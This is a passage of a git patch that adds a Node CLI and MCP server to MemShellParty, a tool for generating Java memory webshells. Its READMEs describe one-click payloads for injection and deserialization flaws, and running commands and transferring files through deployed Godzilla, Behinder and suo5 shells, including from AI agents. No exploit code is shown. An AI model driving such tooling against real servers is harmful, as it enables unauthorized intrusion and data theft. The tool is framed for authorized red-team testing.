From fafdd6eafbc6c8b7e8723a9af7be26b47727246b Mon Sep 17 00:00:00 2001 From: 77 <154648505+7-e1even@users.noreply.github.com> Date: Thu, 23 Jul 2026 09:48:48 +0800 Subject: [PATCH] feat(tools): add Node CLI client under tools/cli Standalone npm package for HTTP API generation + connect helpers. Not a Gradle module; tools/ is already excluded from Docker. Related to #143. --- .gitignore | 10 +- README.md | 187 +- docs/README.en.md | 175 +- tools/cli/.gitignore | 11 + tools/cli/LICENSE | 21 + tools/cli/README.en.md | 441 ++ tools/cli/README.md | 146 + tools/cli/package-lock.json | 4060 +++++++++++++++++ tools/cli/package.json | 52 + .../cli/resources/javax.servlet-api-3.1.0.jar | Bin 0 -> 95806 bytes tools/cli/skills/memshell-party/SKILL.md | 486 ++ tools/cli/src/api/client.test.ts | 77 + tools/cli/src/api/client.ts | 170 + tools/cli/src/api/index.ts | 3 + tools/cli/src/api/types.ts | 144 + tools/cli/src/cli-context.ts | 33 + tools/cli/src/cli.test.ts | 124 + tools/cli/src/cli.ts | 115 + tools/cli/src/commands/config.ts | 85 + tools/cli/src/commands/connect.ts | 166 + tools/cli/src/commands/custom.ts | 145 + tools/cli/src/commands/demo.ts | 114 + tools/cli/src/commands/exec.ts | 179 + tools/cli/src/commands/gen.ts | 225 + tools/cli/src/commands/log.ts | 65 + tools/cli/src/commands/mcp.ts | 17 + tools/cli/src/commands/parse-classname.ts | 40 + tools/cli/src/commands/probe.ts | 178 + tools/cli/src/commands/profile.ts | 121 + tools/cli/src/commands/skill.ts | 78 + tools/cli/src/commands/target.ts | 250 + tools/cli/src/commands/transfer.ts | 357 ++ tools/cli/src/commands/version.ts | 40 + tools/cli/src/connect/assets.ts | 992 ++++ tools/cli/src/connect/assets/Cmd.class | Bin 0 -> 7895 bytes tools/cli/src/connect/assets/Echo.class | Bin 0 -> 6412 bytes .../src/connect/assets/FileOperation.class | Bin 0 -> 22768 bytes .../src/connect/assets/GodzillaPayload.class | Bin 0 -> 34777 bytes tools/cli/src/connect/behinder.test.ts | 538 +++ tools/cli/src/connect/behinder.ts | 620 +++ tools/cli/src/connect/classfile.test.ts | 49 + tools/cli/src/connect/classfile.ts | 289 ++ tools/cli/src/connect/crypto.test.ts | 75 + tools/cli/src/connect/crypto.ts | 77 + tools/cli/src/connect/godzilla.test.ts | 605 +++ tools/cli/src/connect/godzilla.ts | 542 +++ tools/cli/src/connect/http.ts | 115 + tools/cli/src/connect/mimic-codecs.test.ts | 97 + tools/cli/src/connect/mimic-codecs.ts | 196 + tools/cli/src/connect/mimic-server.ts | 221 + tools/cli/src/connect/mimic-shared.ts | 308 ++ tools/cli/src/connect/mimic.test.ts | 407 ++ tools/cli/src/connect/mimic.ts | 293 ++ tools/cli/src/connect/registry.test.ts | 38 + tools/cli/src/connect/registry.ts | 147 + tools/cli/src/connect/suo5.test.ts | 173 + tools/cli/src/connect/suo5.ts | 223 + tools/cli/src/connect/types.ts | 79 + tools/cli/src/core/config.test.ts | 39 + tools/cli/src/core/config.ts | 52 + tools/cli/src/core/jdk.test.ts | 30 + tools/cli/src/core/jdk.ts | 36 + tools/cli/src/core/localfile.test.ts | 117 + tools/cli/src/core/localfile.ts | 94 + tools/cli/src/core/oplog.test.ts | 110 + tools/cli/src/core/oplog.ts | 136 + tools/cli/src/core/output.test.ts | 58 + tools/cli/src/core/output.ts | 71 + tools/cli/src/core/request-builder.test.ts | 91 + tools/cli/src/core/request-builder.ts | 153 + tools/cli/src/core/site-profile.test.ts | 187 + tools/cli/src/core/site-profile.ts | 318 ++ tools/cli/src/core/skill-install.test.ts | 62 + tools/cli/src/core/skill-install.ts | 72 + tools/cli/src/core/targets.test.ts | 192 + tools/cli/src/core/targets.ts | 314 ++ tools/cli/src/custom/build.test.ts | 183 + tools/cli/src/custom/build.ts | 253 + tools/cli/src/custom/java-probe.test.ts | 118 + tools/cli/src/custom/java-template.test.ts | 122 + tools/cli/src/custom/java-template.ts | 552 +++ tools/cli/src/custom/javac.ts | 66 + tools/cli/src/index.ts | 88 + tools/cli/src/mcp/server.test.ts | 433 ++ tools/cli/src/mcp/server.ts | 905 ++++ tools/cli/src/repl.ts | 128 + tools/cli/src/version.ts | 21 + tools/cli/src/wizard/memshell-wizard.ts | 127 + tools/cli/src/wizard/probe-wizard.ts | 91 + tools/cli/tsconfig.json | 21 + tools/cli/tsup.config.ts | 18 + tools/cli/vitest.config.ts | 8 + 92 files changed, 19496 insertions(+), 169 deletions(-) create mode 100644 tools/cli/.gitignore create mode 100644 tools/cli/LICENSE create mode 100644 tools/cli/README.en.md create mode 100644 tools/cli/README.md create mode 100644 tools/cli/package-lock.json create mode 100644 tools/cli/package.json create mode 100644 tools/cli/resources/javax.servlet-api-3.1.0.jar create mode 100644 tools/cli/skills/memshell-party/SKILL.md create mode 100644 tools/cli/src/api/client.test.ts create mode 100644 tools/cli/src/api/client.ts create mode 100644 tools/cli/src/api/index.ts create mode 100644 tools/cli/src/api/types.ts create mode 100644 tools/cli/src/cli-context.ts create mode 100644 tools/cli/src/cli.test.ts create mode 100644 tools/cli/src/cli.ts create mode 100644 tools/cli/src/commands/config.ts create mode 100644 tools/cli/src/commands/connect.ts create mode 100644 tools/cli/src/commands/custom.ts create mode 100644 tools/cli/src/commands/demo.ts create mode 100644 tools/cli/src/commands/exec.ts create mode 100644 tools/cli/src/commands/gen.ts create mode 100644 tools/cli/src/commands/log.ts create mode 100644 tools/cli/src/commands/mcp.ts create mode 100644 tools/cli/src/commands/parse-classname.ts create mode 100644 tools/cli/src/commands/probe.ts create mode 100644 tools/cli/src/commands/profile.ts create mode 100644 tools/cli/src/commands/skill.ts create mode 100644 tools/cli/src/commands/target.ts create mode 100644 tools/cli/src/commands/transfer.ts create mode 100644 tools/cli/src/commands/version.ts create mode 100644 tools/cli/src/connect/assets.ts create mode 100644 tools/cli/src/connect/assets/Cmd.class create mode 100644 tools/cli/src/connect/assets/Echo.class create mode 100644 tools/cli/src/connect/assets/FileOperation.class create mode 100644 tools/cli/src/connect/assets/GodzillaPayload.class create mode 100644 tools/cli/src/connect/behinder.test.ts create mode 100644 tools/cli/src/connect/behinder.ts create mode 100644 tools/cli/src/connect/classfile.test.ts create mode 100644 tools/cli/src/connect/classfile.ts create mode 100644 tools/cli/src/connect/crypto.test.ts create mode 100644 tools/cli/src/connect/crypto.ts create mode 100644 tools/cli/src/connect/godzilla.test.ts create mode 100644 tools/cli/src/connect/godzilla.ts create mode 100644 tools/cli/src/connect/http.ts create mode 100644 tools/cli/src/connect/mimic-codecs.test.ts create mode 100644 tools/cli/src/connect/mimic-codecs.ts create mode 100644 tools/cli/src/connect/mimic-server.ts create mode 100644 tools/cli/src/connect/mimic-shared.ts create mode 100644 tools/cli/src/connect/mimic.test.ts create mode 100644 tools/cli/src/connect/mimic.ts create mode 100644 tools/cli/src/connect/registry.test.ts create mode 100644 tools/cli/src/connect/registry.ts create mode 100644 tools/cli/src/connect/suo5.test.ts create mode 100644 tools/cli/src/connect/suo5.ts create mode 100644 tools/cli/src/connect/types.ts create mode 100644 tools/cli/src/core/config.test.ts create mode 100644 tools/cli/src/core/config.ts create mode 100644 tools/cli/src/core/jdk.test.ts create mode 100644 tools/cli/src/core/jdk.ts create mode 100644 tools/cli/src/core/localfile.test.ts create mode 100644 tools/cli/src/core/localfile.ts create mode 100644 tools/cli/src/core/oplog.test.ts create mode 100644 tools/cli/src/core/oplog.ts create mode 100644 tools/cli/src/core/output.test.ts create mode 100644 tools/cli/src/core/output.ts create mode 100644 tools/cli/src/core/request-builder.test.ts create mode 100644 tools/cli/src/core/request-builder.ts create mode 100644 tools/cli/src/core/site-profile.test.ts create mode 100644 tools/cli/src/core/site-profile.ts create mode 100644 tools/cli/src/core/skill-install.test.ts create mode 100644 tools/cli/src/core/skill-install.ts create mode 100644 tools/cli/src/core/targets.test.ts create mode 100644 tools/cli/src/core/targets.ts create mode 100644 tools/cli/src/custom/build.test.ts create mode 100644 tools/cli/src/custom/build.ts create mode 100644 tools/cli/src/custom/java-probe.test.ts create mode 100644 tools/cli/src/custom/java-template.test.ts create mode 100644 tools/cli/src/custom/java-template.ts create mode 100644 tools/cli/src/custom/javac.ts create mode 100644 tools/cli/src/index.ts create mode 100644 tools/cli/src/mcp/server.test.ts create mode 100644 tools/cli/src/mcp/server.ts create mode 100644 tools/cli/src/repl.ts create mode 100644 tools/cli/src/version.ts create mode 100644 tools/cli/src/wizard/memshell-wizard.ts create mode 100644 tools/cli/src/wizard/probe-wizard.ts create mode 100644 tools/cli/tsconfig.json create mode 100644 tools/cli/tsup.config.ts create mode 100644 tools/cli/vitest.config.ts diff --git a/.gitignore b/.gitignore index 753777ed..9c9ca625 100644 --- a/.gitignore +++ b/.gitignore @@ -61,4 +61,12 @@ integration-test/**/apusic integration-test/**/bes integration-test/**/tongweb integration-test/**/inforsuite -integration-test/**/primeton \ No newline at end of file +integration-test/**/primeton +# Node CLI (tools/cli) — standalone npm package, not a Gradle module. +# Docker already excludes tools/ from the image. +**/node_modules/ +tools/cli/dist/ +tools/cli/coverage/ +tools/cli/.env +# CLI ships a small servlet API jar used by local custom-build probes +!tools/cli/resources/**/*.jar diff --git a/README.md b/README.md index 21dcf701..46aa6560 100644 --- a/README.md +++ b/README.md @@ -1,87 +1,100 @@ -

MemShellParty

- -

中文 | English

- - -
- -[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases) -[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator) -[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party) -
-
- -[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) -[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk) -
- -> [!WARNING] -> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。 - -> [!TIP] -> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG -> 交流群,欢迎一起学习交流。 - -MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 - -

- normal_memshell - agent_memshell - dnslog_probe - about_page -

- -## 主要特性 - -- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。 -- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。 -- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。 -- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了 - **30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。 -- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java - 模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。 -- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入 - MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。 - -## 快速使用 - -### 使用前必看 - -[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty -中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 - -探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 -GlassFish,因为它使用的是 GlassFish 进行的二开)。 - -### 在线站点 - -> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 - -可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。 - -对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。 - -### 本地部署(推荐) - -> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷 - -使用 docker 部署之后访问 http://127.0.0.1:8080 - -```bash -# 使用 Docker Hub 源,拉取最新的镜像 -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest - -# 使用 Github Container Registry 源,拉取最新的镜像 -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest - -# 网络质量不太好?使用南大 Github Container Registry 镜像源 -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest -``` - -## Special Thanks - -- [vulhub/java-chains](https://github.com/vulhub/java-chains) -- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) -- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator) - -### Let's start the party 🎉 +

MemShellParty

+ +

中文 | English

+ + +
+ +[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases) +[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator) +[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party) +
+
+ +[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) +[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk) +
+ +> [!WARNING] +> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。 + +> [!TIP] +> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG +> 交流群,欢迎一起学习交流。 + +MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 + +

+ normal_memshell + agent_memshell + dnslog_probe + about_page +

+ +## 主要特性 + +- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。 +- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。 +- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。 +- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了 + **30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。 +- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java + 模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。 +- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入 + MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。 + +## 快速使用 + +### 使用前必看 + +[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty +中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 + +探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 +GlassFish,因为它使用的是 GlassFish 进行的二开)。 + +### 在线站点 + +> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 + +可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。 + +对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。 + +### 本地部署(推荐) + +> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷 + +使用 docker 部署之后访问 http://127.0.0.1:8080 + +```bash +# 使用 Docker Hub 源,拉取最新的镜像 +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest + +# 使用 Github Container Registry 源,拉取最新的镜像 +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest + +# 网络质量不太好?使用南大 Github Container Registry 镜像源 +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest +``` + + +### CLI 客户端(tools/cli) + +仓库内 Node CLI(`tools/cli`),通过现有 HTTP API 生成内存马 / 探测马,便于终端与 AI 工作流(Related to #143): + +```bash +cd tools/cli && npm ci && npm run build +node dist/cli.js --api http://127.0.0.1:8080 gen +# 或:npm install -g memshell-party-cli +``` + +> 独立 npm 包,**不是** Gradle 模块;不参与 `./gradlew` 与 Docker 主产物构建(`Dockerfile` 本就会丢弃 `tools/`)。 + +## Special Thanks + +- [vulhub/java-chains](https://github.com/vulhub/java-chains) +- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) +- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator) + +### Let's start the party 🎉 diff --git a/docs/README.en.md b/docs/README.en.md index 78b45b4b..9c6d9c46 100644 --- a/docs/README.en.md +++ b/docs/README.en.md @@ -1,81 +1,94 @@ -

MemShellParty

- -

中文 | English

- - -
- -[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases) -[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator) -[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party) -
-
- -[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) -[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk) -
- -> [!WARNING] -> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility. - -> [!TIP] -> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together. - -MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency. - -

- normal_memshell - agent_memshell - dnslog_probe - about_page -

- -## Key Features - -- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time. -- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21. -- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use. -- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM. -- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads. -- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs. - -## Quick Start - -### Read Before Use - -[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications. - -The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish. - -### Online Site - -> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors. - -You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release. - -For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk). - -### Local Deployment (Recommended) - -> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient. - -After deploying with Docker, access http://127.0.0.1:8080 - -```bash -# Pull the latest image from Docker Hub -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest - -# Pull the latest image from Github Container Registry -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest - -# Poor network quality? Use the Nanjing University Github Container Registry mirror -docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest -``` - -## Special Thanks - -- [vulhub/java-chains](https://github.com/vulhub/java-chains) -- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) -- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator) - -### Let's start the party 🎉 +

MemShellParty

+ +

中文 | English

+ + +
+ +[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases) +[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator) +[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party) +
+
+ +[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) +[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk) +
+ +> [!WARNING] +> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing. Using this tool for any unauthorized network attack or penetration test is illegal, and users must bear the corresponding legal responsibility. + +> [!TIP] +> Since I mainly work on security product development and do not have practical offensive experience, please feel free to open an issue or join the Telegram group if you have questions about usage, implementation, or adaptation requests. You are welcome to learn and exchange ideas together. + +MemShellParty is a fast memshell generation tool focused on mainstream web middleware. It is designed to simplify the workflow of security researchers and red team members, improving offensive and defensive efficiency. + +

+ normal_memshell + agent_memshell + dnslog_probe + about_page +

+ +## Key Features + +- **Non-intrusive**: Generated memshells do not affect normal target middleware traffic, even when more than a dozen different memshells are injected at the same time. +- **Strong compatibility**: Covers common middleware and frameworks in offensive and defensive scenarios, and supports JDK6 through JDK21. +- **High availability**: A comprehensive automated test matrix has been built for all supported middleware and frameworks, ensuring each generated payload has high usability and stability while reducing uncertainty in real-world use. +- **Extremely lightweight**: Through deeply optimized bytecode generation strategies, MemShellParty greatly reduces memshell size compared with traditional tools such as JMG. Regular memshells are reduced by **30%**, and Agent memshells are reduced by **80%** using ASM. +- **One-click simplicity**: Built-in payload generation is provided for common vulnerabilities such as expression injection, deserialization, and SSTI. The system automatically configures Java module restriction bypasses and dynamically generates the optimal attack payload, enabling one-click generation for common vulnerability payloads. +- **High flexibility**: Natively supports common memshell capabilities such as Godzilla, Behinder, AntSword, Suo5, and NeoreGeorg. With the highly flexible custom memshell upload feature, any customized payload can be integrated into the MemShellParty generation system to build an attack platform that best fits your tactical needs. + +## Quick Start + +### Read Before Use + +[Compatibility](https://party.mem.mk/ui/docs/compatibility) helps you understand MemShellParty's adaptation status for each service, so you can choose the right service type for different applications. + +The probe memshell maps detected service types one by one. The detected service type is the service type that can be used to generate memshells. This is not necessarily the middleware type. For example, Apusic10 is detected as GlassFish because it is developed based on GlassFish. + +### Online Site + +> Only for users who want to try it out. Please use caution with other publicly exposed services, as generated memshells may contain backdoors. + +You can access the master branch at [https://party.mem.mk](https://party.mem.mk). The latest image is automatically deployed for each release. + +For features under development, you can try the dev branch early at [https://dev-party.mem.mk](https://dev-party.mem.mk). + +### Local Deployment (Recommended) + +> Suitable for quick internal network or local deployment. Starting the service directly with Docker is fast and convenient. + +After deploying with Docker, access http://127.0.0.1:8080 + +```bash +# Pull the latest image from Docker Hub +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest + +# Pull the latest image from Github Container Registry +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest + +# Poor network quality? Use the Nanjing University Github Container Registry mirror +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest +``` + + +### CLI Client (`tools/cli`) + +In-repo Node CLI under `tools/cli`. It talks to the existing HTTP API to generate memshells / probes for terminal and AI workflows (Related to #143): + +```bash +cd tools/cli && npm ci && npm run build +node dist/cli.js --api http://127.0.0.1:8080 gen +# or: npm install -g memshell-party-cli +``` + +> Standalone npm package — **not** a Gradle module. Not part of `./gradlew` or the Docker image (`Dockerfile` already drops `tools/`). + +## Special Thanks + +- [vulhub/java-chains](https://github.com/vulhub/java-chains) +- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) +- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator) + +### Let's start the party 🎉 diff --git a/tools/cli/.gitignore b/tools/cli/.gitignore new file mode 100644 index 00000000..875ec1eb --- /dev/null +++ b/tools/cli/.gitignore @@ -0,0 +1,11 @@ +node_modules +dist +*.log +.DS_Store +coverage +.env +.jcgraph/ +.reina/ +scratch/ +参考/ +docs/ diff --git a/tools/cli/LICENSE b/tools/cli/LICENSE new file mode 100644 index 00000000..d0ca9f89 --- /dev/null +++ b/tools/cli/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 memshell-party-cli contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/tools/cli/README.en.md b/tools/cli/README.en.md new file mode 100644 index 00000000..510f0ccb --- /dev/null +++ b/tools/cli/README.en.md @@ -0,0 +1,441 @@ +# memshell-party-cli + +English | [中文](README.md) + +Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java +memory shells and probe shells straight from your terminal (or from an AI agent), talking to the +same HTTP API that powers `party.mem.mk/ui`. + +> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible +> for how you use it. + +## Features + +- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer + from live, API-driven menus. +- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or + scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`). +- **REPL** — bare `memparty` starts an interactive loop: many commands in one session, + with auto-saved target names ready to reuse. +- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients. +- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version. +- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell + is alive and the credentials work (echo/handshake round-trip). +- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell + and prints its output (real `execCommand` / `Cmd` payload round-trip). +- **File transfer** — `memparty upload` / `memparty download` move files through Godzilla / + Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder). +- **Named targets** — `memparty save` stores shells in projects (with remark + category), + then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all. +- **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to + `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target. +- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`). +- **Any backend** — defaults to the public site, override to your self-hosted instance. +- **Site-mimicking (mimic)** — hand-write a site profile, build a custom shell that blends into real business traffic (`profile` / `custom build` / `demo`), and install the agent skill with `memparty skill install`. + +## Install + +```bash +npm install -g memshell-party-cli +# or run without installing: +npx memshell-party-cli gen +``` + +Requires Node.js >= 18. + +## Choosing the backend + +By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) → +default `https://party.mem.mk`. + +Self-hosting is recommended 